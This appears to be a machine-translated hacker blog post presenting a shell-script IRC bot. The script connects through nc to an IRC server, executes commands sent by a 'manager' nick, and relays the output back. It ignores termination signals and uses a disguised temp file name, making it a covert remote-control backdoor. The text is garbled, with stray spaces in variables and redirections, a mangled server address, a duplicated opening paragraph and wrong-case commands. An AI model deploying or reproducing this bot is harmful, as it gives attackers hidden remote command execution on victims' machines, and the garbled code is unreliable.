Shell is just getting started. it mainly uses tail-f to redirect to nc through the pipeline to communicate with the irc server, and then uses sed to format it to conform to the protocol, other functions are command execution. The code is not very mature and still learning. I hope you will...
Shell is just getting started. it mainly uses tail-f to redirect to nc through the pipeline to communicate with the irc server, and then uses sed to format it to conform to the protocol. nothing else
The function is to execute commands.
The code is not very mature and is still being studied. I hope you can give more instructions on the details.
01 #! /Bin/sh
02
03 # Shell IRC Bot demo Based on RFC 1459
04 # Author: Tm3yShell7 @ www.hackshell.net
05 #2011/8/5
06
07 myname = 'testbot '# what you call me?
08 svradd = '2017. 0.0.1 127 '# where can I find you? "Oppo" find me: P
09 channel = 'bots' # irc channel
10 tmpfile = '/tmp/. X11-map-enUS' # temp file at runtime
11 mgr = 'God' # manager nick in irc
12 cwd = '/tmp' # current work ctrctry
13
14 trap "" TERM HUP INT QUIT TSTP
15 # just leave it
16
17 echo "NICK $ myname"> $ tmpfile
18 echo "USER $ myname 'hostname' servername realname"> $ tmpfile
19 echo "JOIN $ channel" >>$ tmpfile
20 echo "PRIVMSG $ mgr: hey, im in! ">>> $ Tmpfile
21 # connect to the irc server and say hello to my manager
22
23 tail-f $ tmpfile | nc $ svradd | while true; do
24 read cmd
25 echo $ cmd | egrep "^: $ mgr. * PRIVMSG $ myname:">/dev/null 2> & 1
26 test $? -Eq 0 | continue
27 # see if this message is for me?
28 cmd = $ (echo $ cmd | sed "s/^: $ mgr. * PRIVMSG $ myname: //" 2>/dev/null)
29 # delete the header
30 cmd = $ (echo $ cmd | sed "s/\ r/\ n/" 2>/dev/null)
31 # delete '\ r'
32 echo $ cmd | egrep "^ cd *">/dev/null 2> & 1
33 test $? -Eq 0 & cwd =$ (cd $ cwd; $ cmd; pwd 2>/dev/null)
34 # update cwd if this is a "cd" command
35 echo $ cmd | egrep "(^? * Cd *) | (^? * Pwd $) ">/dev/null 2> & 1
36 test $? -Eq 0 & cmd = "echo [+] Pwd is now $ cwd"
37 # overwirte the "pwd" command
38 cd $ cwd; $ cmd 2> & 1 | sed "s/^/PRIVMSG $ mgr:/" | tee-a $ tmpfile>/dev/null 2> & 1
39 echo "[+] Complete" | sed "s/^/PRIVMSG $ mgr:/" >>$ tmpfile
40 # exec it and send
41 done
From: Tm3yShell7's Blog